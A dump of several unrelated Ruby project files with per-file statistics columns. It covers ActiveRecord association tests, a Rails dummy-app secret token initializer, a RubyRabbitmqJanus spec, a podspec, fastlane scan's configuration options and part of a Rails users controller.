def test_has_many_class_methods_called_by_method_missing
assert_equal categories(:general), authors(:david).categories.find_all_by_name('General').first
assert_equal nil, authors(:david).categories.find_by_name('Technology')
end
def test_has_many_going_through_join_model_with_custom_foreign_key
assert_equal [], posts(:thinking).authors
assert_equal [authors(:mary)], posts(:authorless).authors
end
def test_belongs_to_polymorphic_with_counter_cache
assert_equal 0, posts(:welcome)[:taggings_count]
tagging = posts(:welcome).taggings.create(:tag => tags(:general))
assert_equal 1, posts(:welcome, :reload)[:taggings_count]
tagging.destroy
assert posts(:welcome, :reload)[:taggings_count].zero?
end
def test_unavailable_through_reflection
assert_raise(ActiveRecord::HasManyThroughAssociationNotFoundError) { authors(:david).nothings }
end
def test_has_many_through_join_model_with_conditions
assert_equal [], posts(:welcome).invalid_taggings
assert_equal [], posts(:welcome).invalid_tags
end
def test_has_many_polymorphic
assert_raise ActiveRecord::HasManyThroughAssociationPolymorphicError do
assert_equal posts(:welcome, :thinking), tags(:general).taggables
end
assert_raise ActiveRecord::EagerLoadPolymorphicError do
assert_equal posts(:welcome, :thinking), tags(:general).taggings.find(:all, :include => :taggable)
end
end
def test_has_many_polymorphic_with_source_type
assert_equal posts(:welcome, :thinking), tags(:general).tagged_posts
end
def test_eager_has_many_polymorphic_with_source_type
tag_with_include = Tag.find(tags(:general).id, :include => :tagged_posts)
desired = posts(:welcome, :thinking)
assert_no_queries do
assert_equal desired, tag_with_include.tagged_posts
end
end
def test_has_many_through_has_many_find_all
assert_equal comments(:greetings), authors(:david).comments.find(:all, :order => 'comments.id').first
end
def test_has_many_through_has_many_find_all_with_custom_class
assert_equal comments(:greetings), authors(:david).funky_comments.find(:all, :order => 'comments.id').first
end
def test_has_many_through_has_many_find_first
assert_equal comments(:greetings), authors(:david).comments.find(:first, :order => 'comments.id')
end
def test_has_many_through_has_many_find_conditions
options = { :conditions => "comments.#{QUOTED_TYPE}='SpecialComment'", :order => 'comments.id' }
assert_equal comments(:does_it_hurt), authors(:david).comments.find(:first, options)
end
def test_has_many_through_has_many_find_by_id
assert_equal comments(:more_greetings), authors(:david).comments.find(2)
end
def test_has_many_through_polymorphic_has_one
assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).tagging }
end
def test_has_many_through_polymorphic_has_many
assert_equal taggings(:welcome_general, :thinking_general), authors(:david).taggings.uniq.sort_by { |t| t.id }
end
def test_include_has_many_through_polymorphic_has_many
author = Author.find_by_id(authors(:david).id, :include => :taggings)
expected_taggings = taggings(:welcome_general, :thinking_general)
assert_no_queries do
assert_equal expected_taggings, author.taggings.uniq.sort_by { |t| t.id }
end
end
def test_has_many_through_has_many_through
assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).tags }
end
def test_has_many_through_habtm
assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).post_categories }
end
def test_eager_load_has_many_through_has_many
author = Author.find :first, :conditions => ['name = ?', 'David'], :include => :comments, :order => 'comments.id'
SpecialComment.new; VerySpecialComment.new
assert_no_queries do
assert_equal [1,2,3,5,6,7,8,9,10], author.comments.collect(&:id)
end
end
def test_eager_load_has_many_through_has_many_with_conditions
post = Post.find(:first, :include => :invalid_tags)
assert_no_queries do
post.invalid_tags
end
end
def test_eager_belongs_to_and_has_one_not_singularized
assert_nothing_raised do
Author.find(:first, :include => :author_address)
AuthorAddress.find(:first, :include => :author)
end
end
def test_self_referential_has_many_through
assert_equal [authors(:mary)], authors(:david).favorite_authors
assert_equal [], authors(:mary).favorite_authors
end
def test_add_to_self_referential_has_many_through
new_author = Author.create(:name => "Bob")
authors(:david).author_favorites.create :favorite_author => new_author
assert_equal new_author, authors(:david).reload.favorite_authors.first
end
def test_has_many_through_uses_conditions_specified_on_the_has_many_association
author = Author.find(:first)
assert !author.comments.blank?
assert author.nonexistant_comments.blank?
end
def test_has_many_through_uses_correct_attributes
assert_nil posts(:thinking).tags.find_by_name("General").attributes["tag_id"]
end
def test_raise_error_when_adding_new_record_to_has_many_through
assert_raise(ActiveRecord::HasManyThroughCantAssociateNewRecords) { posts(:thinking).tags << tags(:general).clone }
assert_raise(ActiveRecord::HasManyThroughCantAssociateNewRecords) { posts(:thinking).clone.tags << tags(:general) }
assert_raise(ActiveRecord::HasManyThroughCantAssociateNewRecords) { posts(:thinking).tags.build }
assert_raise(ActiveRecord::HasManyThroughCantAssociateNewRecords) { posts(:thinking).tags.new }
end
def test_create_associate_when_adding_to_has_many_through
count = posts(:thinking).tags.count
push = Tag.create!(:name => 'pushme')
post_thinking = posts(:thinking)
assert_nothing_raised { post_thinking.tags << push }
assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
message = "Expected a Tag in tags collection, got #{wrong.class}.")
assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
assert_equal(count + 1, post_thinking.tags.size)
assert_equal(count + 1, post_thinking.tags(true).size)
assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo')
assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
message = "Expected a Tag in tags collection, got #{wrong.class}.")
assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
assert_equal(count + 2, post_thinking.tags.size)
assert_equal(count + 2, post_thinking.tags(true).size)
assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) }
assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag },
message = "Expected a Tag in tags collection, got #{wrong.class}.")
assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging },
message = "Expected a Tagging in taggings collection, got #{wrong.class}.")
assert_equal(count + 4, post_thinking.tags.size)
assert_equal(count + 4, post_thinking.tags(true).size)
# Raises if the wrong reflection name is used to set the Edge belongs_to
assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) }
end
def test_has_many_through_collection_size_doesnt_load_target_if_not_loaded
author = authors(:david)
assert_equal 9, author.comments.size
assert !author.comments.loaded?
end
uses_mocha('has_many_through_collection_size_uses_counter_cache_if_it_exists') do
def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
author = authors(:david)
author.stubs(:read_attribute).with('comments_count').returns(100)
assert_equal 100, author.comments.size
assert !author.comments.loaded?
end
end
def test_adding_junk_to_has_many_through_should_raise_type_mismatch
assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags << "Uhh what now?" }
end
def test_adding_to_has_many_through_should_return_self
tags = posts(:thinking).tags
assert_equal tags, posts(:thinking).tags.push(tags(:general))
end
def test_delete_associate_when_deleting_from_has_many_through_with_nonstandard_id
count = books(:awdr).references.count
references_before = books(:awdr).references
book = Book.create!(:name => 'Getting Real')
book_awdr = books(:awdr)
book_awdr.references << book
assert_equal(count + 1, book_awdr.references(true).size)
assert_nothing_raised { book_awdr.references.delete(book) }
assert_equal(count, book_awdr.references.size)
assert_equal(count, book_awdr.references(true).size)
assert_equal(references_before.sort, book_awdr.references.sort)
end
def test_delete_associate_when_deleting_from_has_many_through
count = posts(:thinking).tags.count
tags_before = posts(:thinking).tags
tag = Tag.create!(:name => 'doomed')
post_thinking = posts(:thinking)
post_thinking.tags << tag
assert_equal(count + 1, post_thinking.tags(true).size)
assert_nothing_raised { post_thinking.tags.delete(tag) }
assert_equal(count, post_thinking.tags.size)
assert_equal(count, post_thinking.tags(true).size)
assert_equal(tags_before.sort, post_thinking.tags.sort)
end
def test_delete_associate_when_deleting_from_has_many_through_with_multiple_tags
count = posts(:thinking).tags.count
tags_before = posts(:thinking).tags
doomed = Tag.create!(:name => 'doomed')
doomed2 = Tag.create!(:name => 'doomed2')
quaked = Tag.create!(:name => 'quaked')
post_thinking = posts(:thinking)
post_thinking.tags << doomed << doomed2
assert_equal(count + 2, post_thinking.tags(true).size)
assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) }
assert_equal(count, post_thinking.tags.size)
assert_equal(count, post_thinking.tags(true).size)
assert_equal(tags_before.sort, post_thinking.tags.sort)
end
def test_deleting_junk_from_has_many_through_should_raise_type_mismatch
assert_raise(ActiveRecord::AssociationTypeMismatch) { posts(:thinking).tags.delete("Uhh what now?") }
end
def test_has_many_through_sum_uses_calculations
assert_nothing_raised { authors(:david).comments.sum(:post_id) }
end
def test_has_many_through_has_many_with_sti
assert_equal [comments(:does_it_hurt)], authors(:david).special_post_comments
end
def test_uniq_has_many_through_should_retain_order
comment_ids = authors(:david).comments.map(&:id)
assert_equal comment_ids.sort, authors(:david).ordered_uniq_comments.map(&:id)
assert_equal comment_ids.sort.reverse, authors(:david).ordered_uniq_comments_desc.map(&:id)
end
private
# create dynamic Post models to allow different dependency options
def find_post_with_dependency(post_id, association, association_name, dependency)
class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
Post.find(post_id).update_attribute :type, class_name
klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
klass.set_table_name 'posts'
klass.send(association, association_name, :as => :taggable, :dependent => dependency)
klass.find(post_id)
end
end
| 38.958929 | 133 | 0.755603 |
e2f441d83cc791a3e8b04ed13c078497aacfe62c | 913 | # Be sure to restart your server when you modify this file.
# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.
# Make sure your secret_key_base is kept private
# if you're sharing your code publicly.
# if Rails.
if Rails::VERSION::MAJOR == 3
Dummy::Application.config.secret_token = '31a12e1f7a76d71cbb17a0bf67eaf2743235eac6282de87f3a717d87e06ef7ff8de58a52d5d391bbe135d59913c12ac0deb37706cd10c9df701ab2f5967fa0f0'
elsif Rails::VERSION::MAJOR == 4
Dummy::Application.config.secret_key_base = '31a12e1f7a76d71cbb17a0bf67eaf2743235eac6282de87f3a717d87e06ef7ff8de58a52d5d391bbe135d59913c12ac0deb37706cd10c9df701ab2f5967fa0f0'
end | 53.705882 | 176 | 0.823658 |
624f06aee6708999bca1c374c3e1a186c742a8d8 | 841 | # frozen_string_literal: true
require 'spec_helper'
describe RubyRabbitmqJanus::RRJAdmin, type: :request,
level: :admin,
name: :pcap do
before { helper_janus_instance_without_token }
let(:type) { 'admin::start_pcap' }
let(:number) { '1' }
let(:schema_success) { 'base::success' }
let(:parameter) do
{
'folder' => '/tmp',
'filename' => 'my-super-file.pcap',
'truncate' => 0
}
end
describe 'request #start_pcap' do
context 'when no session/handle' do
let(:exception_class) { RubyRabbitmqJanus::Errors::Janus::Responses::InvalidRequestPath }
let(:exception_message) { "[457] Reason : Unhandled request 'start_pcap' at this path" }
include_examples 'when transaction admin exception'
end
end
end
| 28.033333 | 95 | 0.609988 |
389265a02348bf16a3f774cc9b4d67590694d958 | 295 | FactoryGirl.define do
# Define your Spree extensions Factories within this file to enable applications, and other extensions to use and override them.
#
# Example adding this to your spec_helper will load these Factories for use:
# require 'solidus_payment_method_by_zone/factories'
end
| 42.142857 | 130 | 0.8 |
bfa9fa16b5fffec3a036190603af042a06963913 | 653 | Pod::Spec.new do |s|
s.name = 'DrawableView'
s.version = '0.0.4'
s.summary = 'A UIView subclass that allows the user to draw on it.'
s.homepage = 'https://github.com/EthanSchatzline/DrawableView'
s.license = { type: 'MIT', file: 'LICENSE' }
s.author = { 'ethanschatzline' => '[email protected]' }
s.social_media_url = 'http://twitter.com/ethanschatzline'
s.platform = :ios, '9.0'
s.source = { :git => 'https://github.com/EthanSchatzline/DrawableView.git', :tag => s.version.to_s }
s.source_files = 'DrawableView/*.swift'
s.frameworks = 'UIKit'
s.swift_version = '4.0'
end
| 38.411765 | 108 | 0.621746 |
28723b5c2370f95747a2389d840cd3fcf3ee4d33 | 64 | require File.join(File.dirname(__FILE__), '..', 'spec_helper')
| 21.333333 | 62 | 0.703125 |
089d7f1e9f816153dc842335c50f2c5d09ef9c7c | 31,481 | require 'fastlane_core/configuration/config_item'
require 'credentials_manager/appfile_config'
require_relative 'module'
# rubocop:disable Metrics/ClassLength
module Scan
class Options
def self.verify_type(item_name, acceptable_types, value)
type_ok = [Array, String].any? { |type| value.kind_of?(type) }
UI.user_error!("'#{item_name}' should be of type #{acceptable_types.join(' or ')} but found: #{value.class.name}") unless type_ok
end
def self.available_options
containing = FastlaneCore::Helper.fastlane_enabled_folder_path
[
# app to test
FastlaneCore::ConfigItem.new(key: :workspace,
short_option: "-w",
env_name: "SCAN_WORKSPACE",
optional: true,
description: "Path to the workspace file",
verify_block: proc do |value|
v = File.expand_path(value.to_s)
UI.user_error!("Workspace file not found at path '#{v}'") unless File.exist?(v)
UI.user_error!("Workspace file invalid") unless File.directory?(v)
UI.user_error!("Workspace file is not a workspace, must end with .xcworkspace") unless v.include?(".xcworkspace")
end),
FastlaneCore::ConfigItem.new(key: :project,
short_option: "-p",
optional: true,
env_name: "SCAN_PROJECT",
description: "Path to the project file",
verify_block: proc do |value|
v = File.expand_path(value.to_s)
UI.user_error!("Project file not found at path '#{v}'") unless File.exist?(v)
UI.user_error!("Project file invalid") unless File.directory?(v)
UI.user_error!("Project file is not a project file, must end with .xcodeproj") unless v.include?(".xcodeproj")
end),
FastlaneCore::ConfigItem.new(key: :scheme,
short_option: "-s",
optional: true,
env_name: "SCAN_SCHEME",
description: "The project's scheme. Make sure it's marked as `Shared`"),
# device (simulator) to use for testing
FastlaneCore::ConfigItem.new(key: :device,
short_option: "-a",
optional: true,
is_string: true,
env_name: "SCAN_DEVICE",
description: "The name of the simulator type you want to run tests on (e.g. 'iPhone 6')",
conflicting_options: [:devices],
conflict_block: proc do |value|
UI.user_error!("You can't use 'device' and 'devices' options in one run")
end),
FastlaneCore::ConfigItem.new(key: :devices,
optional: true,
is_string: false,
env_name: "SCAN_DEVICES",
type: Array,
description: "Array of devices to run the tests on (e.g. ['iPhone 6', 'iPad Air'])",
conflicting_options: [:device],
conflict_block: proc do |value|
UI.user_error!("You can't use 'device' and 'devices' options in one run")
end),
FastlaneCore::ConfigItem.new(key: :skip_detect_devices,
description: "Should skip auto detecting of devices if none were specified",
default_value: false,
type: Boolean,
optional: true),
# simulator management
FastlaneCore::ConfigItem.new(key: :force_quit_simulator,
env_name: 'SCAN_FORCE_QUIT_SIMULATOR',
description: "Enabling this option will automatically killall Simulator processes before the run",
default_value: false,
type: Boolean),
FastlaneCore::ConfigItem.new(key: :reset_simulator,
env_name: 'SCAN_RESET_SIMULATOR',
description: "Enabling this option will automatically erase the simulator before running the application",
default_value: false,
type: Boolean),
FastlaneCore::ConfigItem.new(key: :disable_slide_to_type,
env_name: 'SCAN_DISABLE_SLIDE_TO_TYPE',
description: "Enabling this option will disable the simulator from showing the 'Slide to type' prompt",
default_value: true,
type: Boolean),
FastlaneCore::ConfigItem.new(key: :prelaunch_simulator,
env_name: 'SCAN_PRELAUNCH_SIMULATOR',
description: "Enabling this option will launch the first simulator prior to calling any xcodebuild command",
default_value: ENV['FASTLANE_EXPLICIT_OPEN_SIMULATOR'],
optional: true,
type: Boolean),
FastlaneCore::ConfigItem.new(key: :reinstall_app,
env_name: 'SCAN_REINSTALL_APP',
description: "Enabling this option will automatically uninstall the application before running it",
default_value: false,
type: Boolean),
FastlaneCore::ConfigItem.new(key: :app_identifier,
env_name: 'SCAN_APP_IDENTIFIER',
optional: true,
description: "The bundle identifier of the app to uninstall (only needed when enabling reinstall_app)",
code_gen_sensitive: true,
default_value: CredentialsManager::AppfileConfig.try_fetch_value(:app_identifier),
default_value_dynamic: true),
# tests to run
FastlaneCore::ConfigItem.new(key: :only_testing,
env_name: "SCAN_ONLY_TESTING",
description: "Array of strings matching Test Bundle/Test Suite/Test Cases to run",
optional: true,
is_string: false,
verify_block: proc do |value|
verify_type('only_testing', [Array, String], value)
end),
FastlaneCore::ConfigItem.new(key: :skip_testing,
env_name: "SCAN_SKIP_TESTING",
description: "Array of strings matching Test Bundle/Test Suite/Test Cases to skip",
optional: true,
is_string: false,
verify_block: proc do |value|
verify_type('skip_testing', [Array, String], value)
end),
# test plans to run
FastlaneCore::ConfigItem.new(key: :testplan,
env_name: "SCAN_TESTPLAN",
description: "The testplan associated with the scheme that should be used for testing",
is_string: true,
optional: true),
FastlaneCore::ConfigItem.new(key: :only_test_configurations,
env_name: "SCAN_ONLY_TEST_CONFIGURATIONS",
description: "Array of strings matching test plan configurations to run",
optional: true,
is_string: false,
verify_block: proc do |value|
verify_type('only_test_configurations', [Array, String], value)
end),
FastlaneCore::ConfigItem.new(key: :skip_test_configurations,
env_name: "SCAN_SKIP_TEST_CONFIGURATIONS",
description: "Array of strings matching test plan configurations to skip",
optional: true,
is_string: false,
verify_block: proc do |value|
verify_type('skip_test_configurations', [Array, String], value)
end),
# other test options
FastlaneCore::ConfigItem.new(key: :xctestrun,
short_option: "-X",
env_name: "SCAN_XCTESTRUN",
description: "Run tests using the provided `.xctestrun` file",
conflicting_options: [:build_for_testing],
is_string: true,
optional: true),
FastlaneCore::ConfigItem.new(key: :toolchain,
env_name: "SCAN_TOOLCHAIN",
conflicting_options: [:xctestrun],
description: "The toolchain that should be used for building the application (e.g. `com.apple.dt.toolchain.Swift_2_3, org.swift.30p620160816a`)",
optional: true,
is_string: false),
FastlaneCore::ConfigItem.new(key: :clean,
short_option: "-c",
env_name: "SCAN_CLEAN",
description: "Should the project be cleaned before building it?",
is_string: false,
default_value: false),
FastlaneCore::ConfigItem.new(key: :code_coverage,
env_name: "SCAN_CODE_COVERAGE",
description: "Should code coverage be generated? (Xcode 7 and up)",
is_string: false,
type: Boolean,
optional: true),
FastlaneCore::ConfigItem.new(key: :address_sanitizer,
description: "Should the address sanitizer be turned on?",
is_string: false,
type: Boolean,
optional: true,
conflicting_options: [:thread_sanitizer],
conflict_block: proc do |value|
UI.user_error!("You can't use 'address_sanitizer' and 'thread_sanitizer' options in one run")
end),
FastlaneCore::ConfigItem.new(key: :thread_sanitizer,
description: "Should the thread sanitizer be turned on?",
is_string: false,
type: Boolean,
optional: true,
conflicting_options: [:address_sanitizer],
conflict_block: proc do |value|
UI.user_error!("You can't use 'thread_sanitizer' and 'address_sanitizer' options in one run")
end),
# output
FastlaneCore::ConfigItem.new(key: :open_report,
short_option: "-g",
env_name: "SCAN_OPEN_REPORT",
description: "Should the HTML report be opened when tests are completed?",
is_string: false,
default_value: false),
FastlaneCore::ConfigItem.new(key: :disable_xcpretty,
env_name: "SCAN_DISABLE_XCPRETTY",
description: "Disable xcpretty formatting of build, similar to `output_style='raw'` but this will also skip the test results table",
type: Boolean,
optional: true),
FastlaneCore::ConfigItem.new(key: :output_directory,
short_option: "-o",
env_name: "SCAN_OUTPUT_DIRECTORY",
description: "The directory in which all reports will be stored",
code_gen_sensitive: true,
code_gen_default_value: "./test_output",
default_value: File.join(containing, "test_output"),
default_value_dynamic: true),
FastlaneCore::ConfigItem.new(key: :output_style,
short_option: "-b",
env_name: "SCAN_OUTPUT_STYLE",
description: "Define how the output should look like. Valid values are: standard, basic, rspec, or raw (disables xcpretty during xcodebuild)",
optional: true,
verify_block: proc do |value|
UI.user_error!("Invalid output_style #{value}") unless ['standard', 'basic', 'rspec', 'raw'].include?(value)
end),
FastlaneCore::ConfigItem.new(key: :output_types,
short_option: "-f",
env_name: "SCAN_OUTPUT_TYPES",
description: "Comma separated list of the output types (e.g. html, junit, json-compilation-database)",
default_value: "html,junit"),
FastlaneCore::ConfigItem.new(key: :output_files,
env_name: "SCAN_OUTPUT_FILES",
description: "Comma separated list of the output files, corresponding to the types provided by :output_types (order should match). If specifying an output type of json-compilation-database with :use_clang_report_name enabled, that option will take precedence",
conflicting_options: [:custom_report_file_name],
optional: true,
default_value: nil),
FastlaneCore::ConfigItem.new(key: :buildlog_path,
short_option: "-l",
env_name: "SCAN_BUILDLOG_PATH",
description: "The directory where to store the raw log",
default_value: "#{FastlaneCore::Helper.buildlog_path}/scan",
default_value_dynamic: true),
FastlaneCore::ConfigItem.new(key: :include_simulator_logs,
env_name: "SCAN_INCLUDE_SIMULATOR_LOGS",
description: "If the logs generated by the app (e.g. using NSLog, perror, etc.) in the Simulator should be written to the output_directory",
type: Boolean,
default_value: false,
optional: true),
FastlaneCore::ConfigItem.new(key: :suppress_xcode_output,
env_name: "SCAN_SUPPRESS_XCODE_OUTPUT",
description: "Suppress the output of xcodebuild to stdout. Output is still saved in buildlog_path",
optional: true,
type: Boolean),
FastlaneCore::ConfigItem.new(key: :formatter,
short_option: "-n",
env_name: "SCAN_FORMATTER",
description: "A custom xcpretty formatter to use",
optional: true),
FastlaneCore::ConfigItem.new(key: :xcpretty_args,
env_name: "SCAN_XCPRETTY_ARGS",
description: "Pass in xcpretty additional command line arguments (e.g. '--test --no-color' or '--tap --no-utf')",
type: String,
optional: true),
FastlaneCore::ConfigItem.new(key: :derived_data_path,
short_option: "-j",
env_name: "SCAN_DERIVED_DATA_PATH",
description: "The directory where build products and other derived data will go",
optional: true),
FastlaneCore::ConfigItem.new(key: :should_zip_build_products,
short_option: "-Z",
env_name: "SCAN_SHOULD_ZIP_BUILD_PRODUCTS",
description: "Should zip the derived data build products and place in output path?",
optional: true,
is_string: false,
default_value: false),
FastlaneCore::ConfigItem.new(key: :result_bundle,
short_option: "-z",
env_name: "SCAN_RESULT_BUNDLE",
is_string: false,
description: "Should an Xcode result bundle be generated in the output directory",
default_value: false,
optional: true),
FastlaneCore::ConfigItem.new(key: :use_clang_report_name,
description: "Generate the json compilation database with clang naming convention (compile_commands.json)",
is_string: false,
default_value: false),
# concurrency
FastlaneCore::ConfigItem.new(key: :concurrent_workers,
type: Integer,
env_name: "SCAN_CONCURRENT_WORKERS",
description: "Specify the exact number of test runners that will be spawned during parallel testing. Equivalent to -parallel-testing-worker-count",
optional: true),
FastlaneCore::ConfigItem.new(key: :max_concurrent_simulators,
type: Integer,
env_name: "SCAN_MAX_CONCURRENT_SIMULATORS",
description: "Constrain the number of simulator devices on which to test concurrently. Equivalent to -maximum-concurrent-test-simulator-destinations",
optional: true),
FastlaneCore::ConfigItem.new(key: :disable_concurrent_testing,
type: Boolean,
default_value: false,
env_name: "SCAN_DISABLE_CONCURRENT_TESTING",
description: "Do not run test bundles in parallel on the specified destinations. Testing will occur on each destination serially. Equivalent to -disable-concurrent-testing",
optional: true),
# build
FastlaneCore::ConfigItem.new(key: :skip_build,
description: "Should debug build be skipped before test build?",
short_option: "-r",
env_name: "SCAN_SKIP_BUILD",
is_string: false,
type: Boolean,
default_value: false),
FastlaneCore::ConfigItem.new(key: :test_without_building,
short_option: "-T",
env_name: "SCAN_TEST_WITHOUT_BUILDING",
description: "Test without building, requires a derived data path",
is_string: false,
type: Boolean,
conflicting_options: [:build_for_testing],
optional: true),
FastlaneCore::ConfigItem.new(key: :build_for_testing,
short_option: "-B",
env_name: "SCAN_BUILD_FOR_TESTING",
description: "Build for testing only, does not run tests",
conflicting_options: [:test_without_building],
is_string: false,
type: Boolean,
optional: true),
FastlaneCore::ConfigItem.new(key: :sdk,
short_option: "-k",
env_name: "SCAN_SDK",
description: "The SDK that should be used for building the application",
optional: true),
FastlaneCore::ConfigItem.new(key: :configuration,
short_option: "-q",
env_name: "SCAN_CONFIGURATION",
description: "The configuration to use when building the app. Defaults to 'Release'",
default_value_dynamic: true,
optional: true),
FastlaneCore::ConfigItem.new(key: :xcargs,
short_option: "-x",
env_name: "SCAN_XCARGS",
description: "Pass additional arguments to xcodebuild. Be sure to quote the setting names and values e.g. OTHER_LDFLAGS=\"-ObjC -lstdc++\"",
optional: true,
type: :shell_string),
FastlaneCore::ConfigItem.new(key: :xcconfig,
short_option: "-y",
env_name: "SCAN_XCCONFIG",
description: "Use an extra XCCONFIG file to build your app",
optional: true,
verify_block: proc do |value|
UI.user_error!("File not found at path '#{File.expand_path(value)}'") unless File.exist?(value)
end),
# build settings
FastlaneCore::ConfigItem.new(key: :app_name,
env_name: "SCAN_APP_NAME",
optional: true,
description: "App name to use in slack message and logfile name",
is_string: true),
FastlaneCore::ConfigItem.new(key: :deployment_target_version,
env_name: "SCAN_DEPLOYMENT_TARGET_VERSION",
optional: true,
description: "Target version of the app being build or tested. Used to filter out simulator version",
is_string: true),
# slack
FastlaneCore::ConfigItem.new(key: :slack_url,
short_option: "-i",
env_name: "SLACK_URL",
sensitive: true,
description: "Create an Incoming WebHook for your Slack group to post results there",
optional: true,
verify_block: proc do |value|
if !value.to_s.empty? && !value.start_with?("https://")
UI.user_error!("Invalid URL, must start with https://")
end
end),
FastlaneCore::ConfigItem.new(key: :slack_channel,
short_option: "-e",
env_name: "SCAN_SLACK_CHANNEL",
description: "#channel or @username",
optional: true),
FastlaneCore::ConfigItem.new(key: :slack_message,
short_option: "-m",
env_name: "SCAN_SLACK_MESSAGE",
description: "The message included with each message posted to slack",
optional: true),
FastlaneCore::ConfigItem.new(key: :slack_use_webhook_configured_username_and_icon,
env_name: "SCAN_SLACK_USE_WEBHOOK_CONFIGURED_USERNAME_AND_ICON",
description: "Use webhook's default username and icon settings? (true/false)",
default_value: false,
type: Boolean,
optional: true),
FastlaneCore::ConfigItem.new(key: :slack_username,
env_name: "SCAN_SLACK_USERNAME",
description: "Overrides the webhook's username property if slack_use_webhook_configured_username_and_icon is false",
default_value: "fastlane",
is_string: true,
optional: true),
FastlaneCore::ConfigItem.new(key: :slack_icon_url,
env_name: "SCAN_SLACK_ICON_URL",
description: "Overrides the webhook's image property if slack_use_webhook_configured_username_and_icon is false",
default_value: "https://fastlane.tools/assets/img/fastlane_icon.png",
is_string: true,
optional: true),
FastlaneCore::ConfigItem.new(key: :skip_slack,
env_name: "SCAN_SKIP_SLACK",
description: "Don't publish to slack, even when an URL is given",
is_string: false,
default_value: false),
FastlaneCore::ConfigItem.new(key: :slack_only_on_failure,
env_name: "SCAN_SLACK_ONLY_ON_FAILURE",
description: "Only post on Slack if the tests fail",
is_string: false,
default_value: false),
# misc
FastlaneCore::ConfigItem.new(key: :destination,
short_option: "-d",
env_name: "SCAN_DESTINATION",
description: "Use only if you're a pro, use the other options instead",
is_string: false,
optional: true),
FastlaneCore::ConfigItem.new(key: :catalyst_platform,
env_name: "SCAN_CATALYST_PLATFORM",
description: "Platform to build when using a Catalyst enabled app. Valid values are: ios, macos",
type: String,
optional: true,
verify_block: proc do |value|
av = %w(ios macos)
UI.user_error!("Unsupported export_method '#{value}', must be: #{av}") unless av.include?(value)
end),
FastlaneCore::ConfigItem.new(key: :custom_report_file_name,
env_name: "SCAN_CUSTOM_REPORT_FILE_NAME",
description: "Sets custom full report file name when generating a single report",
deprecated: "Use `--output_files` instead",
conflicting_options: [:output_files],
optional: true,
is_string: true),
FastlaneCore::ConfigItem.new(key: :xcodebuild_command,
env_name: "GYM_XCODE_BUILD_COMMAND",
description: "Allows for override of the default `xcodebuild` command",
type: String,
optional: true,
default_value: "env NSUnbufferedIO=YES xcodebuild"),
FastlaneCore::ConfigItem.new(key: :cloned_source_packages_path,
env_name: "SCAN_CLONED_SOURCE_PACKAGES_PATH",
description: "Sets a custom path for Swift Package Manager dependencies",
type: String,
optional: true),
FastlaneCore::ConfigItem.new(key: :use_system_scm,
env_name: "SCAN_USE_SYSTEM_SCM",
description: "Lets xcodebuild use system's scm configuration",
optional: true,
type: Boolean,
default_value: false)
]
end
end
# rubocop:enable Metrics/ClassLength
end
| 68.288503 | 297 | 0.44484 |
6aa867b2c38d3adf6a5346ea25769c055b5c1365 | 5,545 | class UsersController < ApplicationController
before_action :load_showing_user, :only => [:show, :standing]
before_action :require_logged_in_moderator,
:only => [:enable_invitation, :disable_invitation, :ban, :unban]
before_action :flag_warning, only: [:show]
before_action :require_logged_in_user, only: [:standing]
before_action :only_user_or_moderator, only: [:standing]
before_action :show_title_h1, only: [:show]
def show
@title = @showing_user.username
if @showing_user.is_active?
@title_class = :inactive_user
elsif @showing_user.is_new?
@title_class = :new_user
end
if @user.try(:is_moderator?)
@mod_note = ModNote.new(user: @showing_user)
@mod_note.note = params[:note]
end
respond_to do |format|
format.html { render :action => "show" }
format.json { render :json => @showing_user }
end
end
def tree
@title = "Users"
newest_user = User.last.id
# pulling 10k+ users is significant enough memory pressure this is worthwhile
attrs = %w{banned_at created_at deleted_at id invited_by_user_id is_admin is_moderator karma
username}
if params[:by].to_s == "karma"
content = Rails.cache.fetch("users_by_karma_#{newest_user}", :expires_in => (60 * 60 * 24)) {
@users = User.select(*attrs).order("karma DESC, id ASC").to_a
@user_count = @users.length
@title << " By Karma"
render_to_string :action => "list", :layout => nil
}
render :html => content.html_safe, :layout => "application"
elsif params[:moderators]
@users = User.select(*attrs).where("is_admin = ? OR is_moderator = ?", true, true)
.order("id ASC").to_a
@user_count = @users.length
@title = "Moderators and Administrators"
render :action => "list"
else
content = Rails.cache.fetch("users_tree_#{newest_user}", :expires_in => (60 * 60 * 24)) {
users = User.select(*attrs).order("id DESC").to_a
@user_count = users.length
@users_by_parent = users.group_by(&:invited_by_user_id)
@newest = User.select(*attrs).order("id DESC").limit(10)
render_to_string :action => "tree", :layout => nil
}
render :html => content.html_safe, :layout => "application"
end
end
def invite
@title = "Pass Along an Invitation"
end
def disable_invitation
target = User.where(:username => params[:username]).first
if !target
flash[:error] = "Invalid user."
redirect_to "/"
else
target.disable_invite_by_user_for_reason!(@user, params[:reason])
flash[:success] = "User has had invite capability disabled."
redirect_to user_path(:user => target.username)
end
end
def enable_invitation
target = User.where(:username => params[:username]).first
if !target
flash[:error] = "Invalid user."
redirect_to "/"
else
target.enable_invite_by_user!(@user)
flash[:success] = "User has had invite capability enabled."
redirect_to user_path(:user => target.username)
end
end
def ban
buser = User.where(:username => params[:username]).first
if !buser
flash[:error] = "Invalid user."
return redirect_to "/"
end
